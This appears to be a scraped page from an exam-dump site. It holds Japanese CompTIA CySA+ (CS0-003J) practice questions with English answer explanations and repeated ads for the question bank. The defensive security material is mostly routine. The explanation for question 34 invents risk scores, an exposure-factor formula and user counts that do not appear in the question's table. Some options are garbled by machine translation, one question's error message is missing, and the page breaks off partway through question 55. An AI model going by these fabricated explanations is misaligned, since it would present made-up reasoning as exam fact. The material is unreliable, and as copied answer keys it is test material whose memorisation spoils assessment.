- C. セキュリティツールがインストールされ、最新の状態であることを検証します
- D. コンピュータに法的拘束力が確保されていることを確認するため

正解: ([正解を表示します](#))

The correct answer is B. In forensic analysis, the analyst wants to preserve volatile evidence and prevent the user from changing system state. If the computer is powered off, data in memory, running processes, active network connections, and other volatile artifacts may be lost. If the user continues interacting with the computer, they may unintentionally overwrite or alter evidence.

Exact supporting extract: the Sybex CySA+ Study Guide states that forensic evidence acquisition may require

"making live memory images to ensure that information is not lost when a system is powered off." It also explains that order of volatility measures how easy data is to lose and that data in memory or caches is highly volatile.

The Secbay CySA+ guide also states that allowing a computer to enter hibernation or sleep mode can change memory properties and result in loss of forensic evidence. It further explains that failing to follow order of volatility will likely result in evidence being lost.

Why the other options are incorrect:

A is incorrect because the main reason is evidence preservation, not preventing misuse.

C is incorrect because the analyst is not validating tool installation or patch status.

D is incorrect because legal hold is a legal preservation process, not the immediate reason to keep a live system powered on.

質問: 29

Web 開発者は、新しいアプリケーションをテストしているときに開発サーバーに次のエラーが発生したと報告しました。



アプリケーションの障害点を特定するために使用できるツールは次のどれですか?

A. OpenVAS

B. 怒ったIPスキャナー

C. 免疫デバッガー

D. バープスイート

正解: C ([コメントを发表する](#))

The error indicates the application (running under w3wp.exe, the IIS worker process) crashed/stopped working. To identify the application's point of failure, you need a debugger that can perform dynamic analysis-setting breakpoints, stepping through execution, inspecting memory/stack/registers, and/or analyzing a crash dump/core dump to pinpoint where the failure occurred.

The CySA+ All-in-One guide describes exactly how a debugger is used to analyze a crash and determine the program's state at the time of failure:

Exact extract (All-in-One Exam Guide):

"Using a debugger, you can load the core dump file and examine the program's state at the time of the crash..." It then explains that debuggers (including Immunity) are used for dynamic analysis by stepping through code and examining runtime behavior:

Exact extract (All-in-One Exam Guide):

"Immunity... offers... features... valuable for security analysts... Security analysts can leverage Immunity to set breakpoints, step through code, and monitor the execution flow of a program... allowing analysts to... uncover critical security information."

The Sybex CySA+ Study Guide reinforces that debuggers are used for dynamic analysis of executables and explicitly lists Immunity Debugger as a key tool:

Exact extract (Sybex Study Guide):

"Debuggers... allow testers to perform dynamic analysis of executable files... Immunity debugger is designed specifically to support penetration testing and the reverse engineering of malware." Also, the official CompTIA CS0-003 objectives list Immunity Debugger under tools used to analyze output from vulnerability assessment tools (debuggers category), confirming it as an expected exam-relevant tool choice:

Exact extract (CompTIA CS0-003 Objectives):

"Debuggers: Immunity debugger, GNU debugger (GDB)"

Why the other options are wrong

* A. OpenVAS is an infrastructure vulnerability scanner, not a crash/failure debugger.

* B. Angry IP Scanner is a network scanning/mapping tool for IPs/ports, not application crash analysis.

* D. Burp Suite is a web application testing/proxy tool (great for analyzing HTTP requests, auth, app logic flaws), but it does not directly pinpoint a process crash point like a debugger can.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): debuggers analyze crash/core dump state; Immunity Debugger supports breakpoints/stepping/execution monitoring

* Mike Chapple & David Seidl, CompTIA CySA+ Study Guide (CS0-003): debuggers support dynamic analysis; Immunity debugger noted as a key debugger tool

* CompTIA CySA+ CS0-003 Exam Objectives v4.0: lists "Immunity debugger" under debugger tools

質問: 30

ある企業の機密性や業務上の重要性が低い公開ウェブサイトの1つで、AXSS脆弱性が報告されました。セキュリティ部門はこの脆弱性を確認し、アプリケーション所有者に推奨事項を提示する必要があります。以下の推奨事項のうち、この脆弱性の悪用を最も効果的に防止できるのはどれですか？(2つ選択してください)。

A. Webサーバーの前にIPSを実装します。

B. ウェブサイトでMFAを有効にします。

C. パッチが適用されるまでウェブサイトをオフラインにします。

D. ソースコードに補償制御を実装します。

E. WebサイトでTLS v1.3を設定します。

F. WAF の仮想パッチを使用して脆弱性を修正します。

正解: ([正解を表示します](#))

The best recommendations to prevent an XSS vulnerability from being exploited are to implement a compensating control in the source code and to fix the vulnerability using a virtual patch at the WAF. A compensating control is a technique that mitigates the risk of a vulnerability by adding additional security measures, such as input validation, output encoding, or HTML sanitization. A virtual patch is a rule that blocks or modifies malicious requests or responses at the WAF level, without modifying the application code.

These recommendations are effective, efficient, and less disruptive than the other options. References:

CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156; Cross Site Scripting Prevention Cheat Sheet, Section: XSS Defense Philosophy.

質問: 31

財務部門の従業員 2 名が、マルウェアが組み込まれたフリーウェア アプリケーションをインストールしました。

ネットワークは責任領域に基づいてしっかりとセグメント化されています。これらのコンピュータには、回復する必要がある重要な機密情報がローカルに保存されていました。部門マネージャーは、セキュリティ チームにこの問題について連絡が取れるまで、部門の全従業員にコンピュータの電源を切るようアドバイスしました。インシデント対応スタッフが到着したら最初にとるべきステップは次のうちどれですか？

A. すべてのシステムの電源を入れ、感染をスキャンし、USB ストレージ デバイスにデータをバックアップします。

B. 部門内の影響を受けるシステムにインストールされているソフトウェアを特定して削除します。

C. マルウェアを完全には削除できないことを説明し、デバイスのイメージを再作成します。

D. バックアップを実行する権限を持つ管理者アカウントを使用して、影響を受けるシステムにログオンします。

E. 部門全体をネットワークから切り離し、各コンピュータをオフラインで確認します。

正解: E ([コメントを發表する](#))

Segmenting the entire department from the network and reviewing each computer offline is the first step the incident response staff members should take when they arrive. This step can help contain the malware infection and prevent it from spreading to other systems or networks. Reviewing each computer offline can help identify the source and scope of the infection, and determine the best course of action for recovery¹².

Turning on all systems, scanning for infection, and backing up data to a USB storage device is a risky step, as it can activate the malware and cause further damage or data loss. It can also compromise the USB storage device and any other system that connects to it. Identifying and removing the software installed on the impacted systems in the department is a possible step, but it should be done after segmenting the department from the network and reviewing each computer offline. Explaining that malware cannot truly be removed and then reimaging the devices is a drastic step, as it can result in data loss and downtime. It should be done only as a last resort, and after backing up the data and verifying its integrity. Logging on to the impacted systems with an administrator account that has privileges to perform backups is a dangerous step, as it can expose the administrator credentials and privileges to the malware, and allow it to escalate its access and capabilities³⁴.

References: Incident Response: Processes, Best Practices & Tools - Atlassian, Incident Response Best Practices | SANS Institute, Malware Removal: How to Remove Malware from Your Device, How to Remove Malware From Your PC | PCMag

有効的な**CS0-003J**問題集はJPNTTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 32

過去1時間で、重要なサーバー上で大量のRDP認証失敗が記録されました。認証試行はすべて同じリモートIPアドレスから行われ、単一の有効なドメインユーザーアカウントが使用されました。このブルートフォース攻撃の成功率を低下させるのに最も効果的な対策は次のうちどれですか？(2つ選択してください)。

- A. すべてのデバイスでログオン イベント監査の粒度を上げます。
- B. ホストファイアウォールルールを有効にして、TCPポート3389へのすべての送信トラフィックをブロックします。
- C. 一定回数の試行失敗後にユーザーアカウントをロックアウトするよう設定します。
- D. リモートシステムのIPアドレスに対してファイアウォールブロックを実装します。
- E. サードパーティ製のリモートアクセスツールをインストールし、すべてのデバイスで RDP を無効にします。
- F. 境界ファイアウォールで、信頼できないリモート IP アドレスからの TCP ポート 3389 への受信をブロックします。

正解: ([正解を表示します](#))

To mitigate brute-force attacks, implementing an account lockout policy (C) prevents continuous attempts by locking the account after a set number of failed logins. Blocking inbound connections on TCP port 3389 (RDP) from untrusted IP addresses (F) limits access, reducing the attack surface. According to CompTIA Security+, these controls effectively prevent unauthorized access. While blocking specific IPs (D) or disabling RDP (E) can also help, the lockout and firewall rules provide broader, proactive protection against this attack type.

質問: 33

最近の侵入テストでは、数人の従業員が電話で促されると特定の Web サイトにアクセスし、ダウンロードしたファイルを実行することで攻撃者を支援するよう誘導されていることが判明しました。この問題に最も適切に対処できるのは次のうちどれですか？

- A. 全スタッフのトレーニングと意識の向上
- B. 悪意のある Web サイトにアクセスできないようにする
- C. インターネットからダウンロードされたすべてのスクリプトをブロックします。
- D. すべてのスタッフ メンバーがダウンロードしたアプリケーションを実行できないようにする

正解: **A** ([コメントを发表する](#))

Increasing training and awareness for all staff is the best way to address the issue of employees being enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls.

This issue is an example of social engineering, which is a technique that exploits human psychology and behavior to manipulate people into performing actions or divulging information that benefit the attackers.

Social engineering can take many forms, such as phishing, vishing, baiting, quid pro quo, or impersonation.

The best defense against social engineering is to educate and train the staff on how to recognize and avoid common social engineering tactics, such as:

- * Verifying the identity and legitimacy of the caller or sender before following their instructions or clicking on any links or attachments
- * Being wary of unsolicited or unexpected requests for information or action, especially if they involve urgency, pressure, or threats
- * Reporting any suspicious or anomalous activity to the security team or the appropriate authority
- * Following the organization's policies and procedures on security awareness and best practices

Official References:

- * <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
- * <https://www.comptia.org/certifications/cybersecurity-analyst>
- * <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

質問: 34

悪用が多発していた2つの脆弱性に対するパッチが、同じ金曜日の午後に公開されました。システムと脆弱性に関する情報は、以下の表に示されています。

Vulnerability name	Description
inter.drop	Remote Code Execution (RCE)
slow.roll	Denial of Service (DoS)

System name	Vulnerability	Network segment
manning	slow.roll	internal
brees	inter.drop	internal
brady	inter.drop	external
rogers	slow.roll; inter.drop	isolated vlan

セキュリティアナリストは、以下の項目のうちどれを優先的に修復すべきでしょうか？

- A. ロジャース
- B. ブレイディ
- C. 繁殖
- D. マニング

正解: B (コメントを发表する)

Brady should be prioritized for remediation, as it has the highest risk score and the highest number of affected users. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Brady has a risk score of 9 x 0.8 = 7.2, which is higher than any other system. Brady also has 500 affected users, which is more than any other system.

Therefore, patching brady would reduce the most risk and impact for the organization. The other systems have lower risk scores and lower numbers of affected users, so they can be remediated later.

質問: 35

サイバーセキュリティ アナリストは、同社が取引していない国からの異常なネットワーク スキャン活動に気づきました。最適な緩和手法は次のうちどれですか？

- A. 問題の送信元国を地理的にブロックします
- B. ネットワーク ファイアウォールでスキャンの IP 範囲をブロックします。
- C. 履歴傾向分析を実行し、同様のスキャン アクティビティを探します。
- D. ネットワーク ファイアウォールでスキャンの特定の IP アドレスをブロックします。

正解: ([正解を表示します](#))

Geoblocking is the best mitigation technique for unusual network scanning activity coming from a country that the company does not do business with, as it can prevent any potential attacks or data breaches from that country. Geoblocking is the practice of restricting access to websites or services based on geographic location, usually by blocking IP addresses associated with a certain country or region. Geoblocking can help reduce the overall attack surface and protect against malicious actors who may be trying to exploit vulnerabilities or steal information. The other options are not as effective as geoblocking, as they may not block all the possible sources of the scanning activity, or they may not address the root cause of the problem. Official References:

<https://www.blumira.com/geoblocking/>

<https://www.avg.com/en/signal/geo-blocking>

質問: 36

攻撃を受けた後、アナリストは最高情報セキュリティ責任者にイベントの概要を提供する必要があります。概要には、誰が、何を、いつ行ったかという情報を含める必要があります、実施されている計画の有効性を評価する必要があります。これは、次のインシデント管理ライフサイクル プロセスのどれを表していますか。

- A. 事業継続計画
- B. 学んだ教訓
- C. 法医学的分析
- D. インシデント対応計画

正解: ([正解を表示します](#))

The lessons learned process is the final stage of the incident management life cycle, where the incident team reviews the incident and evaluates the effectiveness of the response and the plans in place. The lessons learned report should include the who-what-when information and any recommendations for improvement123 References: 1: What is incident management? Steps, tips, and best practices 2: 5 Steps of the Incident Management Lifecycle | RSI Security 3: Navigating the Incident Response Life Cycle: A Comprehensive Guide

質問: 37

リスク評価の結果、以下の特徴を持つ脆弱なレガシーシステムをホストしているサーバーが発見されました。

- * ベンダーからはパッチや公式の修正プログラムは提供されていません。
- * ベンダーによる公式サポートは提供されていません。

顧客は当該システムをミッションクリティカルなシステムとみなしている。

以下の対策のうち、既存システムによるリスクを最も効果的に軽減できるのはどれですか？

- A. サーバーを直ちに廃止し、旧式システムに代わる新しいソリューションを見つけてください。
- B. 受信接続をブロックし、送信トラフィックを許可するファイアウォールルールを実装します。
- C. レガシーサーバーに合わせたWebアプリケーションファイアウォールをインストールして構成します。
- D. 隔離、アクセス制限、継続的な監視などの補償制御を適用します。

正解: D ([コメントを发表する](#))

Because the system is mission critical and there is no patch and no vendor support, the best risk-reduction approach is to implement compensating controls. Compensating controls are specifically recommended when immediate remediation is not possible, and for legacy systems where patches may not exist.

The Sybex CySA+ Study Guide states this directly:

Exact extract (Sybex Study Guide): "Legacy systems may not have patches available, meaning that compensating controls may be the only option available." Secbay Press also explains that legacy systems may lack vendor support/updates and that mitigation strategies like compensating controls or isolation are essential to reduce risk:

Exact extract (Secbay Press): "Legacy systems may lack vendor support and updates, making mitigation strategies essential... Implement specific mitigation strategies for legacy systems, such as compensating controls or isolation." And Secbay provides a legacy-system compensating control case study showing exactly the kinds of controls mentioned in option D-segmentation/isolation, access controls, and enhanced monitoring/continuous monitoring:

Exact extract (Secbay Press): "Selected compensating controls, such as network segmentation, intrusion detection systems, and enhanced monitoring, to mitigate the risks..." Why the other options are not "best" given the constraints:

* A (Decommission immediately): may be ideal long-term, but conflicts with "mission critical" (and "immediately" is often unrealistic for business operations).

* B (Block inbound/allow outbound): helps somewhat but is incomplete and can still allow command-and- control or exfiltration outbound; also doesn't address restricted admin access/monitoring comprehensively.

* C (WAF): useful only if this is specifically a web application exposure; the scenario says "legacy system" broadly. Compensating controls are the most complete and universally applicable choice.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Chapple/Seidl, CompTIA CySA+ Study Guide (CS0-003): legacy systems may have no patches; compensating controls may be the only option

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): legacy systems lack support/updates; use compensating controls or isolation

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): compensating controls for legacy systems include segmentation/isolation and enhanced/continuous monitoring

質問: 38

ある企業は、過去の傾向分析に重点を置くことでトリアーシ時間を短縮することができました。この企業はセキュリティ チームと提携して、フィッシング攻撃を前年比で 50% 削減しました。

次のどのアクション プランがトリアーシ時間の短縮につながりましたか？

A. パッチ適用

B. 構成管理

C. 認識、教育、トレーニング

D. 脅威モデリング

正解: C ([コメントを发表する](#))

Phishing attacks are best mitigated through user education and training. The 50% reduction in phishing attempts suggests a strong awareness program that improved employee vigilance.

* Option A (Patching) helps prevent exploits but does not directly reduce phishing attempts.

* Option B (Configuration management) ensures proper system setup but does not address phishing prevention.

* Option D (Threat modeling) is useful for security planning but does not actively reduce phishing attempts.

Thus, C is the correct answer, as awareness training significantly decreases phishing success rates by educating employees on email-based threats.

質問: 39

ある企業は、次のことを支援するエージェントベースのエンドポイント ソリューションを実装したいと考えています。

- さまざまな脅威をフラグ付けする

- 脆弱性フィードを確認する

- 集計データ

- スクリプト言語を使用してリアルタイムのメトリクスを提供する

この目標を達成するために、企業が導入すべきツールは次のどれでしょうか？

- A. DLP
- B. Heuristics
- C. SOAR
- D. NAC

正解: C (コメントを发表する)

Security Orchestration, Automation, and Response (SOAR)solutions allow organizations tointegrate security tools, automate response actions, and aggregate threat intelligence. This matches the organization's goal ofthreat detection, real-time analysis, and data aggregation.

- * Option A (DLP - Data Loss Prevention)is focused ondata securityrather than threat aggregation and response automation.
- * Option B (Heuristics)is amethod for threat detection, not aplatformfor security automation.
- * Option D (NAC - Network Access Control)manages device access rather than handling security automation.

Thus,C (SOAR) is the correct answer, asit automates threat detection, intelligence integration, and real- time response.

質問: 40

セキュリティ アナリストは、確立された SLA を満たす脆弱性パッチの段階的な計画の作成について IT 部門を支援する必要があります。次の脆弱性管理要素のうち、成功する計画の優先順位付けに最も役立つものはどれですか。

- A. 影響を受けるホスト
- B. リスクスコア
- C. 緩和戦略
- D. 年間繰り返し

正解: (正解を表示します)

Risk scoringis the best method for prioritizing patching, as it considers factors likeCVSS severity, exploitability, asset criticality, and business impact.

- * Option A (Affected hosts)is relevant but does notdetermine prioritywithout a risk assessment.
- * Option C (Mitigation strategy)is useful but focuses on alternative protections rather than prioritization.
- * Option D (Annual recurrence)is not a standard method for vulnerability prioritization.

Thus,B is the correct answer, asrisk scores allow organizations to prioritize patching efforts effectively.

質問: 41

最近ランサムウェアの標的となったある企業のセキュリティ チームは、このインシデントの影響を受け、その範囲内にあると特定されたホストのリストを作成しました。次のホスト リストに基づきます。

Impacted hostname	OS	Function
SQL01	Windows 2012 R2	SQL Database Server
WK10-Sales07	Windows 10	Corporate Laptop
WK7-Plant01	Windows 7	Assembly/plant System
DCEast01	Windows Server 2016	Domain Controller
HQAdmin9	Windows 11	Network Admin Laptop

脅威アクターがグループ ポリシーを介して暗号化バイナリを配布する際に最も重要なシステムはどれですか。

- A. SQL01

- B. WK10-セールス07
- C. WK7-プラント01
- D. DCEast01
- E. HQAdmin9

正解: ([正解を表示します](#))

Based on the list of hosts and their functions, DCEast01, which is a Domain Controller, would be the most pivotal in the distribution of an encryption binary via Group Policy. Domain Controllers are responsible for security and administrative policies within a Windows Domain. Group Policy is a feature of Windows that facilitates a wide range of advanced settings that administrators can use to control the working environment of user accounts and computer accounts. Group Policy can be used to deploy software, which in this case would be the encryption binary of the ransomware. SQL01 is a database server and unlikely to be used for this purpose. WK10-Sales07 and WK7-Plant01 are client machines, and HQAdmin9, although it is a network admin laptop, would not typically be used to distribute policies across a network.

質問: 42

セキュリティ アナリストは月次脆弱性レポートを受け取りました。報告書には以下の調査結果が含まれていました

* 5 つのシステムでは、パッチの適用を完了するために再起動のみが必要でした。

* サーバーのうち 2 台は古いオペレーティング システムを実行しているため、パッチを適用できません

アナリストは、これらのサーバーが侵害されないようにする唯一の方法は、サーバーを隔離することだと判断しました。古いサーバーが侵害されるリスクを最小限に抑えるのに最も適したアプローチは次のどれですか？

- A. 補正制御
- B. デューデリジェンス
- C. メンテナンス時間帯
- D. パッシブディスカバリ

正解: **A** ([コメントを發表する](#))

Compensating controls are the best approach to minimize the risk of the outdated servers being compromised, as they can provide an alternative or additional layer of security when the primary control is not feasible or effective. Compensating controls are security measures that are implemented to mitigate the risk of a vulnerability or an attack when the primary control is not feasible or effective. For example, if the servers are running outdated operating systems and cannot be patched, a compensating control could be to isolate them from the rest of the network, or to implement a firewall or an intrusion prevention system to monitor and block any malicious traffic to or from the servers. Compensating controls can help reduce the likelihood or impact of an exploit, but they do not eliminate the risk completely. Therefore, the security analyst should also consider upgrading or replacing the outdated servers as soon as possible.

質問: 43

システム管理者は、データセンター サーバーからの営業時間外のトラフィック フローを調査しており、サーバーの 1 つからパブリック IP アドレスへの定期的な発信 HTTPS 接続を確認しています。サーバーは営業時間外に発信接続を確立すべきではありません。よく見ると、管理者は勤務時間中もこのトラフィック パターンを 24 時間観察しています。最も可能性の高い説明は次のうちどれですか？

- A. C2 ビーコン アクティビティ
- B. データの引き出し
- C. 予期しないポートでの異常なアクティビティ
- D. ネットワークホストのIPアドレススキャン
- E. 不正なネットワーク デバイス

正解: ([正解を表示します](#))

The most likely explanation for this traffic pattern is C2 beaconing activity. C2 stands for command and control, which is a phase of the Cyber Kill Chain that involves the adversary attempting to establish communication with a successfully exploited target. C2 beaconing activity is a type of network traffic that indicates a compromised system is sending periodic messages or signals

to an attacker's system using various protocols, such as HTTP(S), DNS, ICMP, or UDP. C2 beaconing activity can enable the attacker to remotely control or manipulate the target system or network using various methods, such as malware callbacks, backdoors, botnets, or covert channels.

質問: 44

ゼロ トラスト アーキテクチャの一部としてのネットワーク マイクロセグメンテーションの重要性を最もよく説明しているのはどれですか。

- A. 管理しやすく粒度の細かいポリシーを許可する
- B. 規制遵守に関連するコストを増加させる
- C. 攻撃が広がる範囲を制限する
- D. 仮想アプライアンスの使用によりハードウェアコストを削減する

正解: [C \(コメントを发表する\)](#)

Microsegmentation involves dividing a network into smaller, isolated segments to restrict lateral movement within the network. This is crucial within a Zero Trust architecture, which assumes that no entity (internal or external) is inherently trustworthy. By limiting access to only necessary network segments, microsegmentation reduces the impact of a potential breach by containing it within a limited area. CompTIA emphasizes microsegmentation as an effective strategy to minimize risk and improve security posture by isolating resources based on the principle of least privilege.

質問: 45

ペネトレーション テスターが Web アプリケーションのフォームにデータを送信すると、ペネトレーション テスターはユーザーの資格情報を取得できるようになります。このアプリケーションの脆弱性を修正するには、次のうちどれを推奨しますか？

- A. サーバー OS での多要素認証の実装
- B. Web アプリケーションでのユーザー パスワードのハッシュ化
- C. 送信を許可する前に入力検証を実行します
- D. ユーザーと Web サーバー間のネットワークのセグメント化

正解: [\(正解を表示します\)](#)

Performing input validation before allowing submission is the best recommendation for remediation of this application vulnerability. Input validation is a technique that checks the data entered by users or attackers against a set of rules or constraints, such as data type, length, format, or range. Input validation can prevent common web application attacks such as SQL injection, cross-site scripting (XSS), or command injection, which exploit the lack of input validation to execute malicious code or commands on the server or the client side. By validating the input before allowing submission, the web application can reject or sanitize any malicious or unexpected input, and protect the user credentials and other sensitive data from being compromised¹².

References: Input Validation - OWASP, 4 Most Common Application Vulnerabilities and Possible Remediation

質問: 46

インシデント対応プロセスの封じ込め段階の主な目標を最もよく表すのは次のどれですか？

- A. さらなる被害の発生を抑えるため
- B. サービスを再開するには
- C. インシデント対応計画の目標と目的を伝える
- D. 敵対者によるデータ流出の継続行為を防ぐため

正解: [\(正解を表示します\)](#)

The key goal of the containment stage in an incident response process is to limit further damage from occurring. This involves taking immediate steps to isolate the affected systems or network segments to prevent the spread of the incident and mitigate its impact. Containment strategies can be short-term, to quickly stop the incident, or long-term, to prepare for the eradication and recovery phases.

有効的な**CS0-003J**問題集はJPNTTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: **47**

インシデント後の教訓を学ぶステップに含めるべき重要な側面は次のうちどれですか？

- A. インシデント対応計画または手順の改善または変更を特定します。
- B. 内部ミスがあったかどうか、またミスを繰り返さないように誰がミスをしたかを判断します。
- C. 収集したすべての法的証拠を提示し、警察に引き渡します。
- D. インシデントの財務的影響について話し合い、セキュリティ管理が適切に行われているかどうかを判断します。

正解: ([正解を表示します](#))

An important aspect that should be included in the lessons-learned step after an incident is to identify any improvements or changes in the incident response plan or procedures. The lessons-learned step is a process that involves reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying any improvements or changes in the incident response plan or procedures can help enhance the security posture, readiness, or capability of the organization for future incidents

質問: **48**

システム管理者がデータセンターのサーバーからの営業時間外のトラフィックフローを調査したところ、サーバーの1つからパブリックIPアドレスへの定期的なHTTPS接続が行われていることがわかりました。サーバーは営業時間外には送信接続を行うべきではありません。さらに詳しく調べたところ、管理者はこのトラフィックパターンが勤務時間中も24時間体制で発生していることがわかりました。以下のうち、最も可能性の高い説明はどれでしょうか？

- A. コマンドおよび制御ビーコン活動
- B. データ漏洩
- C. 予期しないポートでの異常なアクティビティ
- D. ネットワークホストのIPアドレススキャン
- E. 不正なネットワークデバイス

正解: ([正解を表示します](#))

Command-and-control (C2) beaconing involves compromised systems communicating with an attacker's server at regular intervals, often using HTTPS to blend in with legitimate traffic. This is indicative of a potential compromise where malware communicates back to a command center. The persistent nature of the connections after hours and throughout the day suggests automated beaconing, which is a tell-tale sign of C2 activity. According to CompTIA CySA+, this type of activity should raise immediate suspicion and warrants further investigation and containment. While options B, C, D, and E might indicate other issues, they do not fit the pattern described as well as option A.

質問: **49**

アーキテクチャ チームには、フィッシング インシデントのトリアージ時間を 20% 削減するという任務が与えられています。次のソリューションのうち、この取り組みに最も役立つと思われるものはどれでしょうか？

- A. SOAR プラットフォームを統合します。
- B. セキュリティ意識向上プログラムへの予算を増額します。
- C. EDR ツールを実装します。
- D. フィッシングを報告するためのボタンをメール クライアントにインストールします。

正解: ([正解を表示します](#))

- * SOAR (Security Orchestration, Automation, and Response) platforms help automate and orchestrate incident response tasks, including phishing triage.
- * SOAR reduces triage time by automatically:
 - * Parsing phishing emails (checking headers, links, attachments).
 - * Running automated playbooks to check for known malicious indicators.
 - * Escalating real threats while dismissing false positives.

Why Not Other Options?

- * B (Increase security awareness) # Helps prevent phishing but does NOT reduce triage time.
- * C (Implement EDR) # EDR is useful for endpoint protection but does NOT specifically reduce phishing triage time.
- * D (Install a "Report Phishing" button) # Helps report phishing but does NOT automate the triage process.

Reference: CompTIA CySA+ CS0-003, Chapter 7: "Security Operations and Automation," Section: "SOAR and Incident Response Efficiency"

質問: 50

新しいサイバーセキュリティ アナリストは、組織に対する潜在的な脅威に関するエグゼクティブ ブリーフィングを作成する任務を負っています。ブリーフィングに必要なデータを生成するのは次のうちどれですか？

- A. ファイアウォールのログ
- B. 侵害の兆候
- C. リスク評価
- D. アクセス制御リスト

正解: ([正解を表示します](#))

Indicators of compromise (IoCs) are pieces of data or evidence that suggest a system or network has been compromised by an attacker or malware. IoCs can include IP addresses, domain names, URLs, file hashes, registry keys, network traffic patterns, user behaviors, or system anomalies. IoCs can be used to detect, analyze, and respond to security incidents, as well as to share threat intelligence with other organizations or authorities. IoCs can produce the data needed for an executive briefing on possible threats to the organization, as they can provide information on the source, nature, scope, impact, and mitigation of the threats.

質問: 51

ある会社の顧客配信リストに多数のメールが送信されました。顧客から、メールに疑わしいリンクが含まれているとの報告がありました。会社の SOC は、リンクが悪意のあるものであると判断しました。これらのメールを減らすための最善の方法は次のどれですか。

- A. DMARC
- B. DKIM
- C. SPF
- D. SMTP

正解: ([正解を表示します](#))

DMARC (Domain-based Message Authentication, Reporting, and Conformance) helps organizations prevent email spoofing and phishing by enforcing policies based on SPF and DKIM.

- * Option B (DKIM - DomainKeys Identified Mail) verifies message integrity but does not enforce policies.
- * Option C (SPF - Sender Policy Framework) prevents spoofing but is not as comprehensive as DMARC.
- * Option D (SMTP - Simple Mail Transfer Protocol) is just an email delivery protocol, not a security control.

Thus, A (DMARC) is the correct answer, as it combines SPF and DKIM to prevent spoofing and phishing attacks.

質問: 52

セキュリティ アナリストは、特権アカウントからの次のアクティビティを観察しました。

。電子メールや機密情報へのアクセス

。変更中の監査ログ

。異常なログイン時間

観察されたアクティビティを最もよく説明しているものは次のうちどれですか？

A. 不規則なピアツーピア通信

B. 権限がありません

C. ネットワーク上の不正なデバイス

D. インサイダー攻撃

正解: ([正解を表示します](#))

The observed activity from a privileged account indicates an insider attack, which is when a trusted user or employee misuses their access rights to compromise the security of the organization. Accessing emails and sensitive information, modifying audit logs, and logging in at abnormal times are all signs of malicious behavior by a privileged user who may be trying to steal, tamper, or destroy data, or cover their tracks. An insider attack can cause significant damage to the organization's reputation, operations, and compliance¹².

References: The Privileged Identity Playbook Guides Management of Privileged User Accounts, How to Track Privileged Users' Activities in Active Directory

質問: **53**

SOC は、ユーザー アカウントが安全でない通信を通じて会社の ID プロバイダーに接続していることを示すアラートをいくつか受信します。機密性の高いビジネス クリティカルなシステムにアクセスするためのユーザー資格情報が公開される可能性があります。SOC が悪意のある意図を判断する際に使用する必要があるログは次のどれですか。

A. DNS

B. tcpdump

C. Directory

D. IDS

正解: ([正解を表示します](#))

Intrusion Detection Systems (IDS) logs provide visibility into network traffic patterns and can help detect insecure or unusual connections. These logs will show if non-secure protocols are used, potentially revealing exposed credentials. According to CompTIA CySA+, IDS logs are essential for identifying malicious activity related to communications and network intrusions.

Options like DNS (A) and tcpdump (B) provide network details, but IDS specifically monitors for intrusions and unusual activities relevant to security incidents.

質問: **54**

セキュリティ チームは、企業 Web サイトに対する最近のレイヤー 4 DDoS 攻撃を懸念しています。次の制御のうち、攻撃を最も効果的に軽減できるのはどれですか？

A. ファイアウォール ルールを使用して攻撃をブロックします。

B. 境界ネットワークに IPS を展開します。

C. CDN をロールアウトします。

D. ロード バランサを実装します。

正解: ([正解を表示します](#))

Rolling out a CDN is the best control to mitigate the Layer 4 DDoS attacks against the company website. A CDN is a Content Delivery Network, which is a system of distributed servers that deliver web content to users based on their geographic location, the origin of the web page, and the content delivery server. A CDN can help protect against Layer 4 DDoS attacks, which are volumetric attacks that aim to exhaust the network bandwidth or resources of the target website by sending a large amount of traffic, such as SYN floods, UDP floods, or ICMP floods. A CDN can mitigate these attacks by distributing the traffic across multiple servers, caching the web content closer to the users, filtering out malicious or unwanted traffic, and providing scalability and redundancy for the website¹². References: How to Stop a DDoS Attack: Mitigation Steps for Each OSI Layer, Application layer DDoS attack | Cloudflare

質問: 55

ある組織のセキュリティアナリストがWebサーバーのログをレビューしていたところ、HTTPSセッションをパディングオラクル攻撃を受けやすい暗号化モードにダウングレードする試みが複数回成功していることが判明しました。この問題を解決するために、組織は以下のどの構成変更の組み合わせを行うべきでしょうか？(2つ選択してください)。

- A. サーバーがTLS 1.3を優先するように設定します。
- B. CBCを使用する暗号スイートを削除します。
- C. 鍵交換に一時モードを優先するようにサーバーを設定します。
- D. クライアントブラウザに相互認証のためのユーザー証明書の提示を要求する。
- E. サーバーが HSTS を必要とするように設定します。
- F. GCMを使用する暗号スイートを削除します。

正解: ([正解を表示します](#))

The correct answer is A. Configure the server to prefer TLS 1.3 and B. Remove cipher suites that use CBC.

A padding oracle attack is a type of attack that exploits the padding validation of a cryptographic message to decrypt the ciphertext without knowing the key. A padding oracle is a system that responds to queries about whether a message has a valid padding or not, such as a web server that returns different error messages for invalid padding or invalid MAC. A padding oracle attack can be applied to the CBC mode of operation, where the attacker can manipulate the ciphertext blocks and use the oracle's responses to recover the plaintext¹².

To remediate this issue, the organization should make the following configuration changes:

